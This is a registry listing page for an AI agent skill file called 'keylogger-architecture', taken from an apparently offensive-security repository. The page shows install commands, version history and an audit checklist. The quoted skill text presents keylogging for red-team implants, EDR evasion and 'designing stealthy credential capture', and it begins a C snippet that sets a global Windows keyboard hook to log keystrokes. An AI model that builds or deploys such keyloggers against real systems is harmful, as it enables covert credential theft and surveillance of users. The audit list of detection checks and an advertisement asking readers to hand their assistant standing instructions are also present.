keylogger-arch SKILL.md skillC
keylogger-arch from hypnguyen1209/offensive-claude is an agent skill: a SKILL.md folder an AI agent loads when a task calls for it.
mdr add hypnguyen1209/offensive-claude/keylogger-arch@git:20260629.9f4a1a5Pins git:20260629.9f4a1a5 in mdr.lock. Pin the fingerprint instead.
- Audit grade
- C, 14 of 17 checks passed
- Kind
- SKILL.md skill
- Repository
- hypnguyen1209/offensive-claude
- Path
skills/keylogger-arch/SKILL.md- Versions recorded
- 3
- Latest version
- git:20260629.9f4a1a5, committed Jun 29, 2026
- First version recorded
- May 19, 2026
- Size
- 6,577 bytes
- Repository stars
- 414
- License
- MIT
Collected from public GitHub. Every version is saved exactly as it was and never changes. Install it at an exact version with the mdr tool, and every file is checked before it reaches your agent. The main file is checked against the SHA-256 fingerprint recorded here, and the others against the fingerprints GitHub keeps for its source commit. The automatic checks below grade the latest version, and the same checks always give the same file the same grade.
What the file says
---
name: keylogger-architecture
description: Use when designing or analyzing keystroke/input capture — SetWindowsHookEx, raw input devices, ETW-based capture, kernel drivers, stealth techniques and their IOCs
metadata:
type: offensive
phase: research
kill_chain:
phase: [install, actions]
step: [5, 7]
attck_tactics: [TA0003, TA0009]
depends_on: [privesc-windows, edr-evasion]
feeds_into: [red-team-ops]
inputs: [target_os, edr_product]
outputs: [keylogger_binary, captured_input]
---
# Keylogger Architecture
## When to Activate
- Understanding input capture mechanisms for red team implants
- Analyzing malware keylogging capabilities
- EDR evasion research for input monitoring
- Designing stealthy credential capture
## Method 1: SetWindowsHookEx (WH_KEYBOARD_LL)
### How It Works
```c
// Install global low-level keyboard hook
HHOOK hHook = SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, hInstance, 0);
LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode == HC_ACTION) {
KBDLLHOOKSTRUCT *kb = (KBDLLHOOKSTRUCT*)lParam;
if (wParam == WM_KEYDOWN || wParam == WM_SYSKEYDOWN) {
LogKey(kb->vkCode);
…Read the whole file at its exact version.
How to install
mdr add hypnguyen1209/offensive-claude/keylogger-arch@sha256:6c972916a8a5ab0fThe line at the top of this page pins the label git:20260629.9f4a1a5, which is what most people want. This one pins the sha256 fingerprint of the contents instead, so it survives a label being moved. Either way the exact version is written to mdr.lock, and mdr install downloads and checks those contents again, so it installs them exactly or stops with an error.
[](https://markdownregistry.com/a/art_mj6zpl46s4govqbl)
4 badge image fetches in 30 days. What the badge shows.
Versions
The registry has recorded 3 versions of this file, between May 19, 2026 and Jun 29, 2026, about one every 20 days.
| version | committed | commit | size | audit | |
|---|---|---|---|---|---|
| git:20260629.9f4a1a5 latest | 2026-06-29 | 9f4a1a5 | 6,577 B | C | view · diff |
| git:20260528.6136b32 | 2026-05-28 | 6136b32 | 6,553 B | C | view · diff |
| git:20260519.5ae9faf | 2026-05-19 | 5ae9faf | 6,317 B | C | view |
Audit of the latest version
- fail: Frontmatter block present
- fail: Frontmatter declares a name
- fail: Frontmatter declares a description
- pass: Size between 200 bytes and 200 KB (6577 bytes)
- pass: No zero-width or bidi control characters
- pass: No instruction hidden inside an HTML comment
- pass: No link to an exfiltration or paste host
- pass: No credential-shaped string
- pass: No instruction to send local credentials anywhere
- pass: No text hidden with inline styles
- pass: No prompt-injection phrasing
- pass: No curl or wget piped into a shell
- pass: No recursive delete of root, home or parent
- pass: No instruction to read or print local credentials
- pass: No base64 blob over 200 characters
- pass: No link to a raw IP address
- pass: No script tag
Starting a new one? Use a template for SKILL.md on mdpantry, which passes every one of these checks and says what to change in it.
Source
hypnguyen1209/offensive-claude · 414 stars · license MIT · pushed 2026-10-22 · branch main
API
GET https://markdownregistry.com/api/v1/artifacts/art_mj6zpl46s4govqbl GET https://markdownregistry.com/api/v1/resolve?ref=hypnguyen1209/offensive-claude/keylogger-arch GET https://markdownregistry.com/api/v1/blob/6c972916a8a5ab0f533abfac87f6d5e73c320b55fa6ebba54af1c199e6b64386
Your AI assistant does the legwork. You hear about the deals worth your word. Hand yours the standing instructions at modelranch.com and it joins the network that reads files like this one.
Guides: the SKILL.md format and its required fields · what to check before you install a skill · how to pin a skill to an exact version · where to find agent skills · keeping a team on the same skills · which agent file does what.